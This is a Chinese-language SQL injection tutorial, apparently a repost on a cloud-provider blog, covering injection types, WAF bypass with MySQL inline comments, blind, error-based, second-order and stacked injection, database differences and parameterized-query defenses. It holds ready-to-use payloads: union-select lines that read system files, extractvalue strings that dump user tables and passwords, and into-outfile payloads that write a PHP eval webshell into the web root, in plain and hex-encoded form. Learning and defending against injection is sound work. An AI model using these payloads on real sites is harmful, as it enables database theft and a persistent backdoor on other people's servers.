摘要:年得到了国际标准组织的持,成为了国际标准。其成因可以归结为以下两个原因叠加造成的。这个过程称之为盲注。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成的二次注入。
结构化查询语⾔(Structured Query Language ,SQL),是⼀种特殊的编程语⾔,⽤于数据库的标准数据查询。1986 年10 ⽉美国国家标准协会对SQL 进⾏了规范后,以此作为关系型数据库系统的标准语⾔。1987 年得到了国际标准组织的⽀持,成为了国际标准。
SQL注入是服务端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为
SQL 注⼊的攻击⾏为可以描述为通过⽤户可控参数中注⼊SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击⾏为。其成因可以归结为以下两个原因叠加造成的。
根据SQL 注⼊漏洞的原理,⽤户“可控参数”中注⼊SQL 与发,也就是说Web 应⽤获取⽤户输⼊的地⽅,只要带⼊数据库查询,都有存在SQL 注⼊的可能,这些地⽅通常包括:
提交方法有:get、post、cookie、request等
其中:request支持度较好,你把参数以get方式、post方式、cookie方式提交都是可以的
还有一种注入是 s e r v e r , 具 体 细 节 参 见 [ _server,具体细节参见[ server,具体细节参见[_SERVER详解](https://www.cnblogs.com/wangshuazi/p/9765012.html)
会在疑似注⼊点的地⽅或者参数后⾯尝试提交数据,从而进⾏判断是否存在SQL 注⼊漏洞。
测试数据 | 测试判断 | 攻击思路 |
---|---|---|
-1或+1 | 是否能够回显上⼀个或者下⼀个页面(判断是否有回显) | 联合注入 |
" 或" | 是否显示数据库错误信息;回显的页面是否不同(字符型还是数字型) | 报错注入 |
and 1=1 或者 and 1=2 | 回显的页面是否不同(判断页面是否有布尔类型的状态) | 布尔盲注 |
and sleep(5) | 判断页面的返回时间 | 延时注入 |
/ | 判断转义 | |
注意:如果你对着一个网站测试的时候,出现404,或者页面跳转,说明网站有防护
如下图,一般来说,id之类的参数后面跟的是数字型(也有可能是字符型),别的参数后面跟的是字符型
如果有些字符串确实被限制的很严格,我们可以尝试一些编码绕过。
如URLEncode编码,ASCII、HEX、unicode编码绕过:
/*!...*/
在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了感叹号/*!50001sleep(3)*/
,那么此注释里的语句将被执行。
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被执行,对于有些waf我们可以通过这种方式进行绕过。
路径常见获取方法:
别用百度,用谷歌搜索inurl:phpinfo.php
漏洞报错、平台配置文件、爆破等
可以利用SQL 注入漏洞进行文件读写。
利用的前提条件:
这里涉及到1个变量secure_file_priv
,该参数在高版本的 mysql 数据库中限制了文件的导入导出操作。若要配置此参数,需要修改 my.ini 配置文件,并重启 mysql 服务【其在Phpstudy中默认是NULL,不允许读写文件】
参数 | 含义 |
---|---|
secure_file_priv=NULL | 限制mysqld 不允许导入导出操作 |
secure_file_priv=‘c:/a/’ | 会限制mysqld 的导入导出操作在某个固定目录下,并且子目录有效 |
secure_file_priv= | 不对mysqld 的导入导出操作做限制 |
修改配置文件,对读写不做限制,文件路径C:/phpStudy/MySQL/my.ini
,该操作比较敏感,需要在mysql的配置文件中操作,在phpmyadmin网页中不能修改
?id=-1"union select 1,current_user(),3 --+
?id=-1" union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
下面两种方法一样
?id=1" and 1=2 union select 1,load_file("c://windows//system32//drivers//etc//hosts"),3 --+?id=1" and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3 --+
这里需要注意,写16进制是直接写,写明文的话,需要用引号给包住
写phpinfo,没有报错就说明写入成功,可以直接访问写入的文件地址
# 1. 直接写?id=-1" union select 1,"",3 into outfile "c://phpstudy//www//hack.php"--+# 2. 改写成16进制?id=1" and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "c:/phpstudy/www/hack.php" --+
写一句话木马
# 1. 直接写?id=1" and 1=2 union select 1,"=@eval($_REQUEST[404])?>",3 into outfile "c:/phpstudy/www/hack1.php" --+# 2. 改写成16进制?id=1" and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile "c:/phpstudy/www/hack1.php" --+
在进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入,提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。
更详细的介绍,请参见下一篇文章 《SQL注入的常见方式》
重点理解:我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明
举例:select * from news where id=$id
举例:insert into news(id,url,text) values(2,"x","$t")
举例:delete from news where id=$id
举例:update user set pwd="$p" where id=2 and username="admin"
举例:select * from news order by $id
举例:select id,name,price from news order by $order
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(不回显)
regexp,like,ascii,left,ord,mid
基于时间的SQ盲注-延时判断(不回显)
if,sleep
基于报错的SQL盲注-(强制)报错回显
floor,updatexml,extractvalue
报错模板:https://www.jianshu.com/p/bc35f8dd4f7c
利用的就是mysql函数参数格式错误进行报错注入。
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value);
适用版本是:5.1.5+
利用方式:在执行两个函数时,如果出现xml文件路径错误,就会产生报错 那么我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
利用的原理是xpath格式不符报错注入。
函数语法:extractvalue(XML_document,XPath_string)
适用的版本:5.1.5+
1. 获取当前是数据库名称及使用mysql数据库的版本信息:and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))2. 获取当前注入点的用户权限信息及操作系统版本信息:and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))3. 获取当前位置所用数据库的位置:and extractvalue(1,concat(0x7e,@@datadir,0x7e))4. 获取数据表信息:and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))5. 获取users数据表的列名信息:and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 0,1),0x7e))6. 获取对应的列名的信息(username/password):and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,但是addslashes
有一个特点就是虽然参数在过滤后会添加/
进行转义,但是/
并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
这里使用的是sql-libs靶场的第24关
注册了一个新用户之后的数据库如下
新用户登录,并重置密码
查看数据库,有意思的事情发生了,dhakkan的密码改变了,但是新用户的密码没有改变
堆叠注入(Stacked injections),从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;
表示语句结束。这样我们就想到了是不是可以多句一起使用。于是出现了堆叠注入(又称堆叠查询)
注意事项:
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁
DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。更多操作参见浅析DNSlog在渗透测试中的实战技巧
MySQL、SQLServer、Oracle、PostgreSQL、Access五种数据库应该是目前市面上最流行的数据库了。我们进行渗透测试,碰到最多的也是这几种数据库。本文就这几种数据库在注入时的相同点和不同的做一下统计。
MySQL | SQLServer | Oracle | PostgreSQL | Access | |
---|---|---|---|---|---|
单行注释 | # | -- | -- | -- | 无 |
多行注释 | /**/ | /**/ | /**/ | /**/ | 无 |
数据库端口 | 3306 | 1433 | 1521 | 5432 | 属于文件型数据库,所以不需要端口号 |
.myd
、索引文件:.MYI
、表定义文件:.frm
.mdf
.dbf
和 .ora
.mdb
,Office 2007及之后是.accdb
查询当前用户select user();select substring_index(user(), "@", 1) ;查询当前用户的权限select * from mysql.user where user = substring_index(user(), "@", 1) ;
判断是否是SA权限select is_srvrolemember("sysadmin") 判断是否是db_owner权限 select is_member("db_owner")判断是否是public权限select is_srvrolemember("public")
查看当前用户select * from user_users;查看当前用户拥有的角色 select * from session_roles;查看当前用户拥有的权限select * from session_privs;
select user #查看用户select current_user #查看当前用户
Access数据库是文件类型数据库,没有用户和权限的概念
SQLServer:select char(97)
Oracle:select chr(97) from dual
select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)
在select数据时,我们往往需要将数据进行连接后进行回显。很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数。在sqli中,常见的字符串连接函数有concat()
,group_concat()
,concat_ws()
。
本篇详细讲解以上三个函数。同时此处用mysql进行说明,其他类型数据库请自行进行检测。
不使用字符串连接函数时:
但是这里存在的一个问题是,当使用union联合注入时,我们都知道,联合注入要求前后两个选择的列数要相同,这里id,username是两个列,当我们要一个列的时候,(当然不排除你先爆出id,再爆出username,分两次的做法)该怎么办?答案就是concat()
concat()
语法及使用特点:CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。可以有一个或多个参数。
示例如下:
使用方法:CONCAT_WS(separator,str1,str2,...)
CONCAT_WS()
代表 CONCAT With Separator ,是CONCAT()
的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
注意:如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。
这里以逗号分隔符为例,演示一下
基本查询
mysql> select * from aa;+------+------+| id| name |+------+------+|1 | 10||1 | 20||1 | 20||2 | 20||3 | 200 ||3 | 500 |+------+------+6 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,逗号分隔(默认)
mysql> select id,group_concat(name) from aa group by id;+------+--------------------+| id| group_concat(name) |+------+--------------------+|1 | 10,20,20||2 | 20 ||3 | 200,500|+------+--------------------+3 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,分号分隔
mysql> select id,group_concat(name separator ";") from aa group by id;+------+----------------------------------+| id| group_concat(name separator ";") |+------+----------------------------------+|1 | 10;20;20 ||2 | 20||3 | 200;500 |+------+----------------------------------+3 rows in set (0.00 sec)
以id分组,把去冗余的name字段的值打印在一行,
逗号分隔
mysql> select id,group_concat(distinct name) from aa group by id;+------+-----------------------------+| id| group_concat(distinct name) |+------+-----------------------------+|1 | 10,20||2 | 20 ||3 | 200,500 |+------+-----------------------------+3 rows in set (0.00 sec)
以id分组,把name字段的值打印在一行,逗号分隔,以name排倒序
mysql> select id,group_concat(name order by name desc) from aa group by id;+------+---------------------------------------+| id| group_concat(name order by name desc) |+------+---------------------------------------+|1 | 20,20,10 ||2 | 20||3 | 500,200|+------+---------------------------------------+3 rows in set (0.00 sec)
数据库结构:数据库 —> 表名 —> 列名 —> 数据
演示如下:
show database;
use dvwa; # 选中dvwa数据库show tables; # 查看dvwa数据库中有哪些表
select * from user;
select *from user/G;
select user,password from user;
减减空格 | "-- " | "–%20" | “–+” |
---|---|---|---|
# | “#” | "%23" | |
内联注释 | /* 被注释掉的内容 */ | | |
| |||
数据库中,符号.
代表下一级,如dvwa.user表示dvwa数据库下的user表
推荐阅读:SQL注入必备知识初级
1:mysql -uroot -proot登录数据库
2:show databases; 查看有哪些数据库
3:use informatin_schema; 使用某数据库
4:limit的用法
5:select 函数名; 查询某内容
函数名有以下:
防御SQL注入的核心思想是对用户输入的数据进行严格的检查,并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种:
强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施,可以杜绝大部分的SQL注入式攻击
例如Mybatis中使用#
可以防止SQL注入,$
并不能防止SQL注入
thinkphp使用数组方式将自动使用框架自带的字段类型检测防止注入、PDO驱动参数绑定、预处理等
Thinkphp框架的安全写法安全的替换写法$data=M("Member")->where(array("id"=>$_GET["id"]))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入$data=M("Member")->where(array("id"=>(int)$_GET["id"]))->find();//类型约束$data=M("Member")->where("id=".intval($_GET["id"]))->find();//类型转换$data=M("Member")->where(array("id"=>I("get.id","","intval")))->find();//$data=M("Member")- >where(array("id"=>":id"))->bind(":id",I("get.id"))->select();//PDO驱动可以使用参数绑定$data=M("Member")->where("id=%d",array($_GET["id"]))->find();//预处理机制 //不安全的写法举例$_GET["id"]=
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/122083.html
摘要:登录注册安全风险登录注册的风险点主要有四个暴力破解撞库遍历注册用户批量注册。引入了验证码机制同样引入了额外的安全风险,比如短信验证码的短信炸弹风险图形验证码的可绕过可识别等。 概述 很多技术研发不了解安全,也不重视安全,只有在自己的服务器被黑掉、被挂马、被脱裤才想起关注安全,但是这个时候,技术架构已经成型、代码已经在线上稳定运行,再亡羊补牢,改代码、改策略,往往成本巨大、确收效很低。所...
摘要:下一代查询语言,使支持缘由最近刚好修改了腾讯文档表格公式的一些,主要是修改公式的。总的来说,因为腾讯文档公式相关工作早年的开发和开发,所以有了。让前端工程师通过字符串的形式实现了的调用下面统一叫做,即组成的。多数据源多数据源会产生笛卡儿积。 Qone 下一代 Web 查询语言,使 javascript 支持 LINQ Github: https://github.com/dntzha...
摘要:下一代查询语言,使支持缘由最近刚好修改了腾讯文档表格公式的一些,主要是修改公式的。总的来说,因为腾讯文档公式相关工作早年的开发和开发,所以有了。让前端工程师通过字符串的形式实现了的调用下面统一叫做,即组成的。多数据源多数据源会产生笛卡儿积。 Qone 下一代 Web 查询语言,使 javascript 支持 LINQ Github: https://github.com/dntzha...
摘要:关于的自动配置,这个是重点之一,后面细说。在后续的学习中会慢慢学习到。红色标记的就是已经扫描到了并初始化成功了。 以下内容,如有问题,烦请指出,谢谢 springboot出来也很久了,以前零散地学习了不少,不过很长时间了都没有在实际中使用过了,忘了不少,因此要最近准备抽时间系统的学习积累下springboot,给自己留个根。 因为以前学过一些,这里就主要根据官方文档来学习了,可能会根据...
阅读 3155·2021-10-11 10:56
阅读 1190·2021-10-08 10:04
阅读 3116·2021-09-23 11:20
阅读 2418·2021-09-22 15:23
阅读 2542·2021-09-04 16:40
阅读 985·2019-08-29 17:29
阅读 1363·2019-08-29 17:28
阅读 2844·2019-08-29 14:02